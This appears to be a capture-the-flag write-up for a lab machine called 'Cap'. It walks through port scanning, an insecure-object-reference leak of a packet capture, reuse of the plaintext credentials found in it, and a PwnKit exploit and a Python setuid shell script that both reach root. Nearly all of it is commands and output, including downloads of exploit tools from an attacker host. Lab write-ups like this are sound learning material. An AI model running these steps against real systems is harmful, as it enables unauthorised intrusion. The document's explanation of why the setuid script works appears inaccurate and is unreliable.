Cap

Enumeration

The initial reconnaissance of the Linux target, 10.129.142.146, revealed three open ports: 21 (FTP) running vsftpd 3.0.3, 22 (SSH) running OpenSSH 8.2p1, and 80 (HTTP) running the Gunicorn web server hosting a “Security Dashboard.” The presence of multiple services and a custom web application suggested several potential avenues for attack.

# [-p-] Scan all ports
# [-sS] Stealth SYN scan
# [-Pn] Skip host discovery
┌──(jquirozz㉿jquirozz.com)-[~/htb/cap]
└─$ nmap -p- -sS -Pn --min-rate=1000 10.129.142.146
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

# [-p21,22,80] Scan only these 3 ports
# [-sCV] to enable version detection and script scanning
┌──(jquirozz㉿jquirozz.com)-[~/htb/cap]
└─$ nmap -p21,22,80 -sCV --min-rate=1000 10.129.142.146
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    Gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Exploitation

The exploitation phase focused on the web application on port 80. By manipulating the “data/:id” route, it was possible to download a Packet Capture (PCAP) file from the route “data/0” which was not intended for the current user. Analyzing this PCAP file in Wireshark revealed plain-text FTP credentials for the user nathan: nathan:Buck3tH4TF0RM3!. These credentials were used to successfully log in to both the FTP service to retrieve the user.txt flag and the SSH service for an interactive shell as the low-privileged user nathan.

Initial snapshot

Following the FTP traffic

Plain text credential

# Loggin to FTP with the discovered credentials
┌──(jquirozz㉿jquirozz.com)-[~/htb/cap]
└─$ ftp nathan@10.129.142.146
Password: Buck3tH4TF0RM3!
230 Login successful.

ftp> pwd
Remote directory: /home/nathan

ftp> ls
-r--------    1 1001     1001           33 Aug 04 18:25 user.txt

# Download "user.txt" to our local/attacker machine
ftp> get user.txt
226 Transfer complete.

ftp> exit
221 Goodbye.

┌──(jquirozz㉿jquirozz.com)-[~/htb/cap]
└─$ ls
scan.nmap  user.txt

┌──(jquirozz㉿jquirozz.com)-[~/htb/cap]
└─$ cat user.txt
44*****************************46

# Trying the same credentials for SSH
┌──(jquirozz㉿jquirozz.com)-[~/htb/cap]
└─$ ssh nathan@10.129.142.146
nathan@10.129.142.146's password: Buck3tH4TF0RM3!

nathan@cap:~$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)

Privilege Escalation

Privilege escalation was first attempted using automated tools. The LinPEAS script was transferred to the target via an HTTP server and executed. LinPEAS quickly highlighted a critical vulnerability: the presence of the pkexec binary with the SUID bit set and the system running a version vulnerable to CVE-2021-4034 (PwnKit). The corresponding PwnKit exploit binary was downloaded on the attacker machine, transferred to the target, and executed. This instantly provided a root shell, allowing the attacker to retrieve the final root.txt flag from the /root directory.

# Download the LinPEAS script to our local machine.
┌──(jquirozz㉿jquirozz.com)-[~/htb/cap/exploits]
└─$ wget https://github.com/peass-ng/PEASS-ng/releases/download/20250801-03e73bf3/linpeas.sh

┌──(jquirozz㉿jquirozz.com)-[~/htb/cap/exploits]
└─$ ls -l
-rw-rw-r-- 1 kali kali 956174 Aug  1 00:07 linpeas.sh

# Creating an http server to share the 'linpeas.sh' file
┌──(jquirozz㉿jquirozz.com)-[~/htb/cap/exploits]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/)

# Download the LinPEAS file from our local HTTP server to the target machine
nathan@cap:~$ curl -O http://10.10.14.25/linpeas.sh

# Giving execution permission to the script file
nathan@cap:~$ chmod +x linpeas.sh

nathan@cap:~$ ls -l
-rw-rw-r-- 1 nathan nathan 956174 Aug  4 19:05 linpeas.sh

# Execute the LinPEAS script
nathan@cap:~$ ./linpeas.sh
[+] [CVE-2021-4034] PwnKit
   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
Polkit Binary
Pkexec binary found at: /usr/bin/pkexec
Pkexec binary has SUID bit set!
-rwsr-xr-x 1 root root 31032 Aug 16 2019 /usr/bin/pkexec
pkexec version 0.105

# Download the PwnKit exploit from GitHub in the attacker machine
┌──(jquirozz㉿jquirozz.com)-[~/htb/cap/exploits]
└─$ git clone https://github.com/ly4k/PwnKit

┌──(jquirozz㉿jquirozz.com)-[~/htb/cap/exploits]
└─$ cd PwnKit

┌──(jquirozz㉿jquirozz.com)-[~/htb/cap/exploits/PwnKit]
└─$ ls -l
-rwxrwxr-x 1 kali kali 18040 Aug  4 14:18 PwnKit

# Now, we can serve the PwnKit binary from our local HTTP server
nathan@cap:~$ curl -O http://10.10.14.25/PwnKit/PwnKit

# Execution permission for the binary
nathan@cap:~$ chmod +x PwnKit

nathan@cap:~$ ls -l
-rwxrwxr-x 1 nathan nathan  18040 Aug  4 19:24 PwnKit
-rwxrwxr-x 1 nathan nathan 956174 Aug  4 19:05 linpeas.sh
drwxr-xr-x 3 nathan nathan   4096 Aug  4 19:06 snap
-r-------- 1 nathan nathan     33 Aug  4 18:25 user.txt

# Run the PwnKit binary to escalate our privileges to root.
nathan@cap:~$ ./PwnKit

root@cap:/home/nathan# whoami
root

root@cap:/home/nathan# cd /root

root@cap:~# ls -l
-r-------- 1 root root   33 Aug  4 18:25 root.txt
drwxr-xr-x 3 root root 4096 May 23  2021 snap

root@cap:~# cat root.txt
c7*****************************36

Alternative Privilege Escalation

An alternative path to root was discovered through code review of the web application’s source code, specifically the /var/www/html/app.py file. The application used a “hacky” solution within the /capture route to run the tcpdump command with root privileges by executing os.setuid(0) via an os.system() call. Since the user nathan had write access to this directory, a custom Python script, exploit.py, was created in the /var/www/html directory. This script simply executed os.setuid(0) followed by os.system(“/bin/bash”). Executing python3 exploit.py successfully bypassed the permissions checks and granted a root shell directly, leading to the same root flag. This demonstrated a critical misconfiguration in the web application’s permission handling.

nathan@cap:~$ cd /var/www/html/

nathan@cap:/var/www/html$ ls -l
drwxr-xr-x 2 nathan nathan 4096 May 27  2021 __pycache__
-rw-r--r-- 1 nathan nathan 4293 May 25  2021 app.py
drwxr-xr-x 6 root   root   4096 May 23  2021 static
drwxr-xr-x 2 root   root   4096 May 23  2021 templates
drwxr-xr-x 2 root   root   4096 Aug  4 18:48 upload

nathan@cap:/var/www/html$ nano app.py

Checking the vulnerable code

#!/usr/bin/python3
import os
from flask import *
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

...
...
...

@app.route("/capture")
@limiter.limit("10 per minute")
def capture():
        get_lock()
        pcapid = get_appid()
        increment_appid()
        release_lock()

        path = os.path.join(app.root_path, "upload", str(pcapid) + ".pcap")
        ip = request.remote_addr
        # permissions issues with gunicorn and threads. hacky solution for now.
        #os.setuid(0)
        #command = f"timeout 5 tcpdump -w {path} -i any host {ip}"
        command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'"""
        os.system(command)
        #os.setuid(1000)

        return redirect("/data/" + str(pcapid))

Create a python file containing the following script

#!/usr/bin/python3
import os
os.setuid(0)
os.system("/bin/bash")

Execute the script to gain root access

nathan@cap:/var/www/html$ ls -l
drwxr-xr-x 2 nathan nathan 4096 May 27  2021 __pycache__
-rw-r--r-- 1 nathan nathan 4293 May 25  2021 app.py
-rw-rw-r-- 1 nathan nathan   65 Aug  4 19:41 exploit.py
drwxr-xr-x 6 root   root   4096 May 23  2021 static
drwxr-xr-x 2 root   root   4096 May 23  2021 templates
drwxr-xr-x 2 root   root   4096 Aug  4 18:48 upload

nathan@cap:/var/www/html$ python3 exploit.py

root@cap:/var/www/html# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)

root@cap:~# cd /root

root@cap:/root# ls -l
-r-------- 1 root root   33 Aug  4 18:25 root.txt
drwxr-xr-x 3 root root 4096 May 23  2021 snap

root@cap:/root# cat root.txt
c7*****************************36